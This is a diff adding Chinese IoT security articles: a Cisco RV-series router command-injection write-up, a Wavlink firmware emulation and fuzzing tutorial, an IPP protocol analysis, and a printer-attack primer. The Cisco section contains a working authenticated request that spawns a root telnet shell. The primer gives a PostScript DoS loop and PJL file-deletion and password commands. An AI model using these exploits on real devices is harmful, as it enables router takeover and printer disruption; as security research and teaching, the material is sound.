`Cisco RV016, RV042, RV042G, RV082`系列企业级路由器最新固件中存在一个**命令注入**漏洞。通过身份验证的攻击者可通过该漏洞执行任意命令,获取设备的最高控制权。
|
||||
|
||||
### 漏洞细节
|
||||
|
||||
二进制文件**`/usr/local/EasyAccess/www/cgi-bin/ssi.cgi`**中存在漏洞。
|
||||
|
||||
在`NK_SNMPUpdate`函数中,`POST`报文中的`snmp_Mib2SysName`字段内容存放在`acStack1622`变量中。当`acStack1622`变量中不包含特定的危险字符,则将会被拼接入`acStack1110`字符串中,并用`system`函数执行命令。
|
||||
|
||||

|
||||
|
||||
然而,**危险字符`\n`和`\r`在此处并未被过滤**。但是在实际测试中,可以发现这个系列的设备会将某些字符进行转义,如代表`\n`的`%0a`将会被转为`%2a`, 即`*`符号。根据这个转义规则,容易得到**`%ea`将会被转义为我们需要的`\n`**;类似地,空格符`%20`也会被转义为其他字符。幸运的是,**Tab符`%09`可以替代空格符**,并且`%09`在这里不会被转义。因此,我们可以注入形如 **`%ea/usr/sbin/telnetd%09-l%09/bin/sh%ea`**的命令绕过这个转义操作。
|
||||
|
||||
同理,`snmp_Mib2SysContact` 和`snmp_Mib2SysLocation` 字段中也可注入命令触发同样的漏洞。
|
||||
|
||||

|
||||
|
||||
### Poc
|
||||
|
||||
发送如下报文,在`snmp_Mib2SysName`, `snmp_Mib2SysContact` 和`snmp_Mib2SysLocation`字段中注入恶意命令。
|
||||
|
||||
```
|
||||
POST /sys_snmp.htm HTTP/1.1
|
||||
Host: 192.168.1.1
|
||||
Cookie: mlap=FqgbQ5aBA5wTvwGiB8wRcQ==
|
||||
Content-Length: 249
|
||||
Cache-Control: max-age=0
|
||||
Sec-Ch-Ua: "Chromium";v="110", "Not A(Brand";v="24", "Google Chrome";v="110"
|
||||
Sec-Ch-Ua-Mobile: ?0
|
||||
Sec-Ch-Ua-Platform: "Windows"
|
||||
Upgrade-Insecure-Requests: 1
|
||||
Origin: https://192.168.1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
|
||||
Sec-Fetch-Site: same-origin
|
||||
Sec-Fetch-Mode: navigate
|
||||
Sec-Fetch-User: ?1
|
||||
Sec-Fetch-Dest: document
|
||||
Referer: https://192.168.1.1/sys_snmp.htm
|
||||
Accept-Encoding: gzip, deflate
|
||||
Accept-Language: zh-CN,zh;q=0.9
|
||||
Connection: close
|
||||
|
||||
page=sys_snmp.htm&submitStatus=1&log_ch=1&snmpStatusChange=1&snmpStatus=0&snmp_Mib2SysName=router61120c%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%091111%ea&snmp_Mib2SysContact=winmt%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%092222%ea&snmp_Mib2SysLocation=winmt%ea/usr/sbin/telnetd%09-l%09/bin/sh%09-p%093333%ea&snmp_GetCommunity=public&snmp_SetCommunity=private&snmp_TrapCommunity=public&snmp_SendTrap=
|
||||
```
|
||||
|
||||
### 攻击演示
|
||||
|
||||
发送上述`Poc`中的请求报文。
|
||||
|
||||

|
||||
|
||||
攻击后,可通过远程登录控制设备(`2222`和`3333`端口也可以)。
|
||||
|
||||

|
||||
@@ -0,0 +1,188 @@
|
||||
# 手把手带你分析mips架构下固件分析与漏洞挖掘
|
||||
> meigui
|
||||
> 来源:https://www.iotsec-zone.com/article/503
|
||||
|
||||
## 固件分析和解包
|
||||
|
||||
拿到固件后,第一步是对其进行解包分析。我们通常查找 `busybox` 可执行文件来判断固件的 CPU 架构(如 MIPS、ARM)、端序(大端或小端),以及是否开启了安全机制(如堆栈保护、NX)。`busybox` 一般位于 `/bin` 目录中。通过如下命令我们可以快速获取架构信息,本例中结果显示为 MIPS32 小端架构。
|
||||
|
||||
```c
|
||||
binwalk -Me WN579A3-WAVLINK-WO-2022-03-23-854d73f.bin
|
||||
```
|
||||
|
||||

|
||||
|
||||
### file busybox
|
||||
|
||||
用于识别可执行文件类型。通过这个命令我们可以判断 `busybox` 是哪种架构(如 MIPS、ARM)、位数(32/64位),以及是否为静态或动态链接。本例结果显示为:MIPS、32位、小端、静态链接的 ELF 可执行文件。
|
||||
|
||||
```c
|
||||
file busybox
|
||||
```
|
||||

|
||||
|
||||
### readelf -h busybox
|
||||
|
||||
查看 ELF 文件头,进一步确认架构信息、字节序、入口点等关键信息。比如:
|
||||
|
||||
+ `Class` 显示是 ELF32
|
||||
+ `Data` 显示是 Little endian(小端)
|
||||
+ `Machine` 显示是 MIPS
|
||||
这确认了我们之前用 `file` 得出的结论。
|
||||
|
||||
```c
|
||||
readelf -h busybox
|
||||
```
|
||||
|
||||

|
||||
|
||||
### checksec busybox ###
|
||||
|
||||
用于检查二进制文件的安全特性是否开启,例如:
|
||||
|
||||
+ `NX`(No eXecute,是否启用不可执行栈)
|
||||
+ `PIE`(位置无关执行)
|
||||
+ `Stack Canary`(堆栈保护)
|
||||
这些信息可以帮助我们判断程序是否容易受到缓冲区溢出等攻击。本例中,大多数保护机制未启用,表明存在潜在的利用空间。
|
||||
|
||||
```c
|
||||
checksec busybox
|
||||
```
|
||||
|
||||

|
||||
|
||||
我们使用自动化工具firmAE起不来考虑系统模拟或者用户模拟
|
||||
|
||||

|
||||
|
||||
## 系统模拟
|
||||
### 启动项分析
|
||||
|
||||
启动项是指设备启动后自动执行的程序或脚本,通常用于初始化系统服务或前后端程序。我们一般在 `/etc/init.d/` 目录中查找这些启动脚本(以 `.sh` 为后缀)。在嵌入式设备中,常见的 Web 服务启动程序有 `httpd`、`lighttpd`、`mini_httpd` 等。发现相关脚本后,应进一步检查其配置文件路径和依赖项。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们在进行mips系统模拟前需要先配置我们的网卡
|
||||
|
||||
```c
|
||||
创建虚拟网卡
|
||||
sudo tunctl -t tap0 -u `whoami`
|
||||
sudo ifconfig tap0 192.168.100.1/24 up
|
||||
```
|
||||
|
||||
接下来运行我们mips系统模拟脚本
|
||||
|
||||
```c
|
||||
#!/bin/sh
|
||||
qemu-system-mipsel \
|
||||
-M malta \
|
||||
-kernel /home/iotsec-zone/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
|
||||
-hda //home/iotsec-zone/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
|
||||
-append "root=/dev/sda1 console=ttyS0" \
|
||||
-nographic \
|
||||
-net nic -net tap,ifname=tap0,script=no,downscript=no
|
||||
```
|
||||
|
||||
我们传输我们解密的文件系统squashfs-root到我们qemu系统模拟中
|
||||
|
||||
```c
|
||||
打包squashfs-root文件
|
||||
tar -cvf s.tar.gz squashfs-root
|
||||
|
||||
开启7878端口让qemu下载squashfs-root
|
||||
cd squashfs-root
|
||||
python -m http.server 7878
|
||||
|
||||
qemu模拟
|
||||
wget http://192.168.100.1:7878/s.tar.gz
|
||||
解压
|
||||
tar -zvxf s.tar.gz
|
||||
```
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
我们需要去配置系统环境
|
||||
|
||||
```c
|
||||
目录挂载
|
||||
mount --bind /proc/ proc/
|
||||
mount --bind /sys/ sys/
|
||||
mount --bind /dev/ dev/
|
||||
|
||||
qemu虚拟机配置网卡:
|
||||
ip link add br0 type dummy
|
||||
ifconfig eth0 192.168.100.2/24
|
||||
ifconfig br0 192.168.100.3/24
|
||||
```
|
||||
|
||||
进入模拟系统后尝试使用 bash,但报出非法指令错误,通常是因为 CPU 架构不兼容。我们更换 QEMU 使用的 CPU 为 74Kf(支持更多指令集),重新运行脚本后问题解决
|
||||
|
||||

|
||||
|
||||
```c
|
||||
#!/bin/sh
|
||||
qemu-system-mipsel \
|
||||
-M malta \
|
||||
-cpu 74Kf \
|
||||
-kernel /home/iotsec-zone/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
|
||||
-hda //home/iotsec-zone/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
|
||||
-append "root=/dev/sda1 console=ttyS0" \
|
||||
-nographic \
|
||||
-net nic -net tap,ifname=tap0,script=no,downscript=no
|
||||
```
|
||||
|
||||

|
||||
|
||||
我们运行lighttpd程序出现报错,需要去解决错误,我们去我们之前解包的文件系统里面去搜索
|
||||
|
||||

|
||||
|
||||
发现lib目录下有functions.sh,我们先运行这个
|
||||
|
||||

|
||||
|
||||

|
||||
我们继续运行./lighttpd,继续解决报错,发现在/rom/etc/lighttpd/没有这文件lighttpd.conf,那我们手动创建一个就行。
|
||||
|
||||

|
||||
|
||||
我们继续运行./lighttpd,没有报错。
|
||||
|
||||

|
||||
需要注意,这个ip是我们本机配的192.168.100.2,我们需要配置host,关联相关域名。
|
||||
|
||||

|
||||
|
||||

|
||||
### 未授权漏洞(0day)
|
||||
|
||||
1.我们使用burp的intruder功能进行快速的寻找漏洞点,我们复制里面文件在web进行拼接
|
||||
|
||||

|
||||
|
||||
我们先弄成全部的文件名。
|
||||
|
||||

|
||||
|
||||

|
||||
我们在请求头路径上打点,在payloads复制我们的文件名。点击attack就行。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
我们可以看到有个803f5d.txt信息泄露
|
||||
|
||||

|
||||
通过爆破结果可以发现存在信息泄露文件,如 803f5d.txt,该文件可能包含敏感的配置、日志或用户信息,需进一步分析文件内容
|
||||
|
||||

|
||||
@@ -0,0 +1,317 @@
|
||||
# 打印机之Internet Printing Protocol(IPP)协议分析
|
||||
> stone
|
||||
> 来源:https://www.iotsec-zone.com/article/24
|
||||
|
||||
打印机之Internet Printing Protocol(IPP)协议分析
|
||||
|
||||
## 概述
|
||||
|
||||
> **网络打印协议**(**IPP**)是一种专门的应用层协议,用于客户端设备(计算机,移动电话,平板电脑等)和打印机(或之间的通信[的打印服务器](https://en.wikipedia.org/wiki/Print_server))。它允许客户端向打印机或打印服务器提交一个或多个[打印作业](https://en.wikipedia.org/wiki/Print_job),并执行诸如查询[打印机](https://en.wikipedia.org/wiki/Printer_(computing))状态、获取打印作业状态或取消单个打印作业等任务,目前98% 以上的打印机都支持IPP。
|
||||
>
|
||||
> **from wiki Internet_Printing_Protocol**
|
||||
|
||||
在研究打印机漏洞过程中,发现目前绝大部分的打印机都支持IPP协议,且绝大部分的打印机针对该协议未设置授权访问,这意味着任何人都可以通过IPP协议匿名连接到这些设备(打印机)。攻击者可以滥用这些设备以用于信息披露,包括潜在访问和操纵打印作业。远程代码执行漏洞也已在过去的各种打印机模型上被发现,并且可能会被利用。本文主旨在通过分析IPP协议,让读者对IPP协议有一个更清楚的认识。
|
||||
|
||||
IPP 是使用[超文本传输协议](https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol)(HTTP) 实现的,并继承了所有 HTTP 流的安全功能,IPP 使用传统的C-S模型,客户端在 HTTP POST 请求中向 IPP 打印机发送带有[MIME](https://en.wikipedia.org/wiki/MIME)媒体类型“application/ipp”的IPP 请求消息。IPP 请求消息由使用**自定义的二进制编码的键值对**组成,后跟“end-of-attributes-tag”属性结束标签和请求所需的任何文档数据(例如要打印的文档)。IPP 响应在 HTTP POST 响应中发送回客户端,再次使用“application/ipp”MIME 媒体类型,如图1所示。
|
||||
|
||||

|
||||
|
||||
图1 基于HTTP协议的IPP协议
|
||||
|
||||
IPP主要有IPP/1.1,IPP/2.0, IPP/2.1, IPP/2.2四个版本。其中1.1版本主要关注用户功能的实现,其他三个版本单独定义了许多新的操作。
|
||||
|
||||
本文目录结构组织如下:
|
||||
|
||||
1. IPP简易模型
|
||||
2. 相关专业术语解释
|
||||
3. IPP协议中的核心操作-同步
|
||||
4. IPP 传输过程中数据的编码
|
||||
5. 公网上的暴漏情况
|
||||
6. 检测工具
|
||||
|
||||
## IPP简易模型
|
||||
|
||||

|
||||
|
||||
图2 IPP模型
|
||||
|
||||
术语解释:
|
||||
|
||||
End User: 终端用户
|
||||
|
||||
IPP Client: IPP客户端,实现了IPP的客户端协议,终端用户通过使用IPP客户端去查询打印机以及管理打印任务。
|
||||
|
||||
IPP Server:实现了服务端打印机对象的协议。
|
||||
|
||||
Print Service: 具体的执行打印任务的服务
|
||||
|
||||
Out Device(s): 输出设备
|
||||
|
||||
该图节选自[RFC8011](https://datatracker.ietf.org/doc/html/rfc8011#section-5.2),从图2可以看出,终端用户通过连接IPP客户端,将要打印的数据传送到IPP服务端,IPP服务端接着将数据交给打印服务,来打印客户提交的打印作业,最后通过输出设备输出。
|
||||
|
||||
## 相关术语解释
|
||||
|
||||
### Job
|
||||
|
||||
一次打印任务被称为一次作业
|
||||
|
||||
### Attributes
|
||||
|
||||
属性是一个信息项,它与一个IPP对象(打印机、作业等)的实例相关联。IPP对象(打印机、作业等)的实例相关联的信息。 一个属性由一个属性名称(name)和一个或多个属性值(value)组成。 每个属性都有一个特定的属性语法,主要分为操作属性,打印属性以及作业属性
|
||||
|
||||
- 操作属性标签
|
||||
|
||||

|
||||
|
||||
- 打印属性标签
|
||||
|
||||

|
||||
|
||||
- 作业属性标签
|
||||
|
||||

|
||||
|
||||
### Attribute Group Name
|
||||
|
||||
相关的属性被分组为命名的组,组的名称组是一个关键字。 组的名称可以用来代替命名组中的所有属性。
|
||||
|
||||

|
||||
|
||||
### Attribute Name
|
||||
|
||||
属性名是一个关键字,用来描述一个属性代表的含义
|
||||
|
||||

|
||||
|
||||
### end-of-attributes-tag
|
||||
|
||||
属性结束标签,标记着属性的结束。
|
||||
|
||||

|
||||
|
||||
DATA:
|
||||
|
||||
具体的被打印的数据
|
||||
|
||||

|
||||
|
||||
### 操作层
|
||||
|
||||
因为IPP协议是在http协议之上封装的协议,这里的操作层其实指的就是HTTP请求或响应的消息主体部分(发送post请求的时候的data的值)。IPP传输层协议用的是HTTP,支持HTTP1.1和HTTP1.2。
|
||||
|
||||
## IPP协议中的核心操作-同步
|
||||
|
||||
IPP协议中的核心操作**同步**主要通过operation-id和request-id来保证服务器与客户端交互的同步性,如下图所示
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### operation-id
|
||||
|
||||
每个IPP操作请求都包括一个可识别的"operation-id" 值,客户端通过"operation-id"指定每次IPP请求发送什么操作。支持的操作列表以及对应的operation-id如下表所示
|
||||
|
||||
| operation-id | Operation Name |
|
||||
| :-----------: | :-----------------------------: |
|
||||
| 0x0000 | reserved, not used |
|
||||
| 0x0001 | reserved, not used |
|
||||
| 0x0002 | Print-Job |
|
||||
| 0x0003 | Print-URI |
|
||||
| 0x0004 | Validate-Job |
|
||||
| 0x0005 | Create-Job |
|
||||
| 0x0006 | Send-Document |
|
||||
| 0x0007 | Send-URI |
|
||||
| 0x0008 | Cancel-Job |
|
||||
| 0x0009 | Get-Job-Attributes |
|
||||
| 0x000a | Get-Jobs |
|
||||
| 0x000b | Get-Printer-Attributes |
|
||||
| 0x000c | Hold-Job |
|
||||
| 0x000d | Release-Job |
|
||||
| 0x000e | Restart-Job |
|
||||
| 0x000f | reserved for a future operation |
|
||||
| 0x0010 | Pause-Printer |
|
||||
| 0x0011 | Resume-Printer |
|
||||
| 0x0012 | Purge-Jobs |
|
||||
| 0x4000-0x7fff | reserved for vendor extensions |
|
||||
|
||||
#### request-id
|
||||
|
||||
每个IPP操作请求都包括一个可识别的 "request-id"值,每个**操作**(operation-id指定)的调用都是由一个 "request-id "值来识别。 对于每个请求,客户端选择"request-id",它必须是一个唯一的整数(范围为1到2**31-1(包括),这个 "request-id "允许客户管理多个未处理的请求。
|
||||
|
||||
接收的IPP对象(打印机、作业等)会复制所有的32位的客户提供的 "request-id "属性复制到响应中,以便客户能与之匹配响应,以便客户可以将响应与正确的未处理请求相匹配。 如果请求在收到完整的 "request-id "之前就被终止了,那么IPP对象就会拒绝这个请求并返回一个 "request-id "为0的响应。
|
||||
|
||||
## IPP 传输过程中数据的编码
|
||||
|
||||
操作层是HTTP请求或响应的消息主体部分,它必须包含一个IPP操作请求或IPP操作响应。 每个请求或响应是由一连串的值和属性组成的序列。 属性组指的是一个属性的序列,每个属性包含一个名称和值,本章节介绍了传输过程中IPP数据的编码请求和响应消息的编码。
|
||||
|
||||
### Request and Response
|
||||
|
||||
```bash
|
||||
-----------------------------------------------
|
||||
| version-number | 2 bytes - required
|
||||
-----------------------------------------------
|
||||
| operation-id (request) |
|
||||
| or | 2 bytes - required
|
||||
| status-code (response) |
|
||||
-----------------------------------------------
|
||||
| request-id | 4 bytes - required
|
||||
-----------------------------------------------
|
||||
| attribute-group | n bytes - 0 or more
|
||||
-----------------------------------------------
|
||||
| end-of-attributes-tag | 1 byte - required
|
||||
-----------------------------------------------
|
||||
| data | q bytes - optional
|
||||
-----------------------------------------------
|
||||
```
|
||||
|
||||
IPP 报文格式
|
||||
|
||||
每次IPP操作请求都必须包含以下参数(注意顺序):
|
||||
|
||||
1. "version-number"
|
||||
2. "operation-id"
|
||||
3. "request-id"
|
||||
|
||||
每次的IPP操作响应都必须包含以下参数(注意顺序):
|
||||
|
||||
1. "version-number"
|
||||
2. "status-code"
|
||||
3. "request-id":对应的请求中的request-id
|
||||
|
||||
第四个字段是 "attribute-group "字段,它出现0次或更多次。 每个 "attribute-group "字段代表一个单一的属性组,例如文中上面提到的操作属性组或工作属性组,但要注意顺序,是有序的。"end-of-attributes-tag "字段总是存在的,即使"data "字段不存在,"data"字段代表打印的数据。
|
||||
|
||||
### Attribute Group
|
||||
|
||||
```bash
|
||||
---------------------------------------------------------
|
||||
| begin-attribute-group-tag | 1 byte
|
||||
----------------------------------------------------------
|
||||
| attribute | p bytes |- 0 or more
|
||||
----------------------------------------------------------
|
||||
```
|
||||
|
||||
一个 "attribute-group "字段包含零个或多个 "attribute"字段。请注意,"begin-attribute-group-tag "字段的值和"end-of-attributes-tag"字段的值被称为 "分隔符"(delimiter-tags)。
|
||||
|
||||
### Attribute
|
||||
|
||||
```bash
|
||||
---------------------------------------------------------
|
||||
| attribute-with-one-value | q bytes
|
||||
----------------------------------------------------------
|
||||
| additional-value | r bytes |- 0 or more
|
||||
```
|
||||
|
||||
当一个属性只有一个单一的指(例如,"copies "的值为10和"side-supported "仅具有值"one-sided";代表单面打印10页),则传输的数据根据"attribute-with-one-value"的数据结构来进行编码。当一个属性是有n个值的多值时
|
||||
(例如,"sides-supported "有 " one-sided"和 "two-sided-long-edge "两个值),它就被编码为一个 "attribute-with-one-value "字段,后面有n-1个 "additional-value "字段。
|
||||
|
||||
### Attribute-with-one-value
|
||||
|
||||
```bash
|
||||
-----------------------------------------------
|
||||
| value-tag | 1 byte
|
||||
-----------------------------------------------
|
||||
| name-length (value is u) | 2 bytes
|
||||
-----------------------------------------------
|
||||
| name | u bytes
|
||||
-----------------------------------------------
|
||||
| value-length (value is v) | 2 bytes
|
||||
-----------------------------------------------
|
||||
| value | v bytes
|
||||
```
|
||||
|
||||
一个 "Attribute-with-one-value "字段被编码为五个子字段。
|
||||
|
||||
1. "value-tag "字段指定了属性的语法,例如,0x44代表 "keyword"。
|
||||
2. "name-length "字段指定了 "name "字段的长度,以字节为单位,例如上图中的u或 "side-supported "名称的长度15。
|
||||
3. "name "字段包含属性的文本名称,例如"side-supported"。
|
||||
4. "value-length "字段指定了 "value "字段的长度,单位为字节,例如,图中的v或者值 "one-sided"的长度是9(上面side-supported对应的值)。
|
||||
5. "value "字段包含了属性的值,例如,文本值 "one-sided"。
|
||||
|
||||
### Additional-value
|
||||
|
||||
```bash
|
||||
-----------------------------------------------
|
||||
| value-tag | 1 byte
|
||||
-----------------------------------------------
|
||||
| name-length (value is 0x0000) | 2 bytes
|
||||
-----------------------------------------------
|
||||
| value-length (value is w) | 2 bytes
|
||||
-----------------------------------------------
|
||||
| value | w bytes
|
||||
```
|
||||
|
||||
一个 "附加值 "是由四个子字段编码的。
|
||||
|
||||
1. "value-tag "字段指定了对应的属性,例如,0x44表示 "keyword"。
|
||||
2. "name-length "字段的值为0,表明它是一个 "additional-value"。
|
||||
3. "value-length"字段的值,例如上面提到的"two-sided-long-edge"的长度是19
|
||||
4. "value":字段表明文本值 "two-sided-long-edge"。
|
||||
|
||||
### 部分代码实现
|
||||
|
||||
```python
|
||||
DEFAULT_PROTO_VERSION = (2, 0)
|
||||
# GET_PRINTER_ATTRIBUTES
|
||||
operation= 0x000B
|
||||
DEFAULT_CHARSET = "utf-8"
|
||||
DEFAULT_CHARSET_LANGUAGE = "en-US"
|
||||
# 注意这里需要进行一个ipp或者IPPS 到http 或者https的转化
|
||||
# 如果是检测ipp,则scheme是http,如果检测ipps,则scheme是https
|
||||
self.printer_url=self.scheme + "://" + host + ":" + port + "/ipp/print"
|
||||
def message(self, operation):
|
||||
# 数据包的构造必须是有序的
|
||||
payload = OrderedDict()
|
||||
payload["version"] = DEFAULT_PROTO_VERSION
|
||||
payload["operation"] = operation
|
||||
payload["request-id"] = random.choice(range(10000, 99999))
|
||||
attributes = OrderedDict()
|
||||
attributes["attributes-charset"] = DEFAULT_CHARSET
|
||||
attributes["attributes-natural-language"] = DEFAULT_CHARSET_LANGUAGE
|
||||
attributes["printer-uri"] = self.printer_url
|
||||
payload["operation-attributes-tag"] = attributes
|
||||
return payload
|
||||
```
|
||||
|
||||
## 公网上的暴漏情况
|
||||
|
||||
shodan 搜索关键字 device:printer port:"631",可以发现公网上设备还是挺多的
|
||||
|
||||

|
||||
|
||||
## 检测工具
|
||||
|
||||
[https://github.com/ctalkington/python-ipp](https://github.com/ctalkington/python-ipp)
|
||||
|
||||
### 安装
|
||||
|
||||
```bash
|
||||
pip install pyipp
|
||||
```
|
||||
|
||||
### 用法
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
|
||||
from pyipp import IPP, Printer
|
||||
|
||||
async def main():
|
||||
"""Show example of connecting to your IPP print server."""
|
||||
async with IPP("ipps://EPSON123456.local:631/ipp/print") as ipp:
|
||||
printer: Printer = await ipp.printer()
|
||||
print(printer)
|
||||
|
||||
if __name__ == "__main__":
|
||||
loop = asyncio.get_event_loop()
|
||||
loop.run_until_complete(main())
|
||||
```
|
||||
|
||||
## 参考
|
||||
|
||||
[https://datatracker.ietf.org/doc/html/rfc2910](https://datatracker.ietf.org/doc/html/rfc2910)
|
||||
|
||||
[https://datatracker.ietf.org/doc/html/rfc8011](https://datatracker.ietf.org/doc/html/rfc8011)
|
||||
|
||||
[https://datatracker.ietf.org/doc/html/rfc8010](https://datatracker.ietf.org/doc/html/rfc8010)
|
||||
@@ -0,0 +1,157 @@
|
||||
# 打印机漏洞研究入门
|
||||
> 0431物联卫士实验室
|
||||
> 来源:https://www.iotsec-zone.com/article/353
|
||||
|
||||
# 打印机介绍
|
||||
|
||||
打印机已经成为生活的必备品,学生用来打印文档,企业用来打印资料,数据,机密文件等。由于,打印机连接在内网中,因此大家经常忽略打印机的安全问题,有时为了方便打印,会开启打印机的无线打印,web界面访问等功能。这些方式也带来了多种安全问题,如果加上网络配置不当,可能还会造成内网的打印机暴露在公网。
|
||||
|
||||
# 打印机常见漏洞
|
||||
|
||||
信息泄露,如访问内存,可能发现密码或打印文件中的敏感数据,访问文件系统,泄露配置文件或者存储打印作业;DOS攻击;远程代码执行漏洞RCE,缓冲区溢出攻击,执行恶意代码;打印任务的控制,修改打印内容等。
|
||||
|
||||
# 打印机语言
|
||||
|
||||
打印机语言主要有两类:一种是页面描述语言(PDL),另一种是嵌入式语言(Escape码语言)。页面描述语言和嵌入式语言的代表分别是adobe公司的postscript语言(简称为ps语言)和hp公司的PCL语言。
|
||||
|
||||
每台打印机使用不同的PDL来确定实际文档的外观,并且某些打印机可能具有不同的打印机驱动程序来处理多个PDL。最常见的页面描述语言是PS(PostScript),PDF(Portable Document Format),PCL(Printer Command Language)。PS,PCL等打印语言是一个命令集,告诉打印机如何组织被打印的文档。打印机驱动程序把这些命令嵌入在打印数据中传送给打印机,而不是单独传送,并由打印机的打印控制器在分开解释。
|
||||
|
||||
与我们的攻击最相关的PDL是PostScript(PS),这是一种Turing完整的语言,比PDF具有更多的功能。我们的某些攻击行为创建了PS文件,并将其植入MIT打印机中,以修改该打印机上将来打印的文档,同时保留原始数字文件的完整性。
|
||||
|
||||
可移植文档格式(PDF)是PDL的后继语言,但只能创建矢量图形。尽管PDF作为典型文档交换中使用的文档格式非常流行,但在我们的工作中并不是很有用。
|
||||
|
||||
打印机命令语言(PCL)是一种极简的PDL,对计算机字眼种子能够用比较少,同时对字库,图像的解释能力比较强等,也很流行。但是,它的功能有限,不能像PS那样用于开发打印机。
|
||||
|
||||
打印任务语言(PJL)打印任务语言(PJL)用于指导打印机行为,利用PJL语言可以对打印任务执行管理性的更改设置,对打印文件形成有限管理控制,例如,在打印机文件系统下用户不经常留意的以下特定位置中,它可对打印文件执行存储删除操作。其它打印机语言是PCL的扩展,如打印机作业语言PJL是 PCL的扩展,用于控制打印机的行为,上面提到PCL只处理内容,扩展的PJL则可以永久性的修改设备的设置,如印纸张大小和数量。而 PJL可以被用来执行DoS攻击、打印页面控制、读取文件系统和内存,甚至恶意固件更新。供应商往往只支持PJL 控制语言中的部分命令,并根据打印机的需要自行添加专有的功能。
|
||||
|
||||
打印机描述(PPD)PS、PCL都是一种与设备无关的打印机语言,它们只处理打印的内容,而与设备相关的分辨率、纸张大小它们不处理。PS 、PCL可以将打印内容解释成页面描述文件,这个文件会被控制器解析并打印。但是对譬如分辨率、纸张大小、进纸盒进行选择时,调用的是打印机描述(PostScript Printer Description ,即PPD)文件来实行各种打印机的不同特性,PS、PCL 语言在打印的时候,即定义图像时根本不用去考虑打印机的分辨率、纸张大小,由打印机的PPD文件来决定,给处理字体带来了极大的灵活性。
|
||||
|
||||
PPD文件主要提供以下与打印机有关的特定信息::默认/ 最高分辨率,是否支持半色调监控,用户设定的监控信息,页面大小定义,页面可打印区域,默认字体(通常为Courier),是否支持双面打印等等。每一种不同的 PostScript打印机都分别对应有专门的PPD文件。
|
||||
|
||||
关于PostScript仿真,因为目前使用PostScrit语言需要向 Adobe公司支付一笔费用,成本较高,因此才有与PostScript完全兼容的PostScript仿真,像 HP公司的一些激光打印机中使用的PostScript仿真,也无需再支付Adobe公司相应的费用利用。
|
||||
|
||||

|
||||
|
||||
PS可以用于各种攻击,例如拒绝服务,打印作业处理和保留以及访问打印机的文件系统等恶意操作。打印机指令语言PCL很难被攻击利用,该页面描述语言不直接访问底层文件系统,因此和PS相比,该描述语言并不是很适合用于攻击的目的,不过PCL的扩展PJL容易受到攻击,下文基本上是基于PJL。
|
||||
|
||||
# 打印机搜索
|
||||
|
||||
1.nmap扫描
|
||||
|
||||
主要查看开放了哪些端口,服务,检测操作系统指纹等。
|
||||
|
||||

|
||||
|
||||
这是某一台打印机开放的服务和端口,打印机一般开放的端口和服务如下:
|
||||
|
||||

|
||||
|
||||
2.SmartDeviceMonitor工具进行局域网内扫描
|
||||
|
||||

|
||||
|
||||
3.使用Google语法进行搜索
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
# 漏洞利用
|
||||
|
||||
1.DOS
|
||||
|
||||
当向打印机9100端口发送任何数据,打印机都可将其打印出来,文章前部分发现,9100端口还支持原始打印、PCL、PostScript和PJL,即可以通过9100端口执行PJL。当执行DOS,则可无限循环打印任务,导致打印任务不断执行,资源耗尽,无法执行打印操作。按个人理解简单点说,就是当发起打印任务时,打印机等任务发起结束,才会执行下一步的打印操作,如果一直循环打印任务,则无法到达下一步。通过几行PostScript代码实现DOS。
|
||||
|
||||
%!
|
||||
{} loop
|
||||
|
||||
下面是一些常用的PJL命令
|
||||
|
||||
```@PJL FSDELETE NAME = “pathname” [<CR>]<LF> # 删除文件
|
||||
|
||||
@PJL FSDOWNLOAD FORMAT:BINARY [SIZE=int] [<CR>]<LF> # 下载文件到打印机
|
||||
|
||||
@PJL FSINIT VOLUME = “pathname” [<CR>]<LF> # 初始化打印机文件系统
|
||||
|
||||
@PJL FSMKDIR NAME = “pathname” [<CR>]<LF> # 创建目录
|
||||
|
||||
@PJL DINQUIRE CPLOCK # 检查控制面板状态
|
||||
|
||||
@PJL DINQUIRE PASSWORD # 检查密码保护状态
|
||||
|
||||
@PJL JOB PASSWORD = [Number:0 to 65535] # 当前密码保护密码
|
||||
|
||||
@PJL DEFAULT PASSWORD [Number:0 to 65535] # 修改保护密码
|
||||
|
||||
@PJL DEFAULT CPLOCK = [ON, OFF] # 控制面板状态
|
||||
|
||||
@PJL SET IOBUFFER = [ON, OFF, AUTO] # 设置缓冲区
|
||||
|
||||
@PJL SET IOSIZE = [10-100] # 设置缓存区大小
|
||||
|
||||
@PJL SET PCNAME = [String] # 设置计算机名称
|
||||
|
||||
@PJL SET HOLD = [ON, JOB, STORE, PROOF] # 设置文件保存
|
||||
|
||||
@PJL SET HOLDKEY = [Number:0000 to 9999] # 设置保存文件密码
|
||||
|
||||
@PJL DEFAULT DISKLOCK = [ON, OFF] # 设置硬盘锁定状态
|
||||
|
||||
@PJL SET SPOOLTIME # 设置打印日期
|
||||
|
||||
@PJL SET COPIES # 设置打印数
|
||||
|
||||
@PJL SET JOBNAME # 设置打印机文件名称
|
||||
|
||||
@PJL SET RESOLUTION # 设置分辨率
|
||||
|
||||
@PJL SET DRIVERNAME # 设置驱动
|
||||
|
||||
@PJL USTATUS JOB # 输出 队列中还未打印任务的 状态
|
||||
|
||||
@PJL COMMENT # 添加注释
|
||||
|
||||
@PJL SET OUTTRAY #出纸盘(纸张输出位置)
|
||||
|
||||
@PJL SET ORIENTATION = [PORTRAIT, LANDSCAPE] #页面方向
|
||||
|
||||
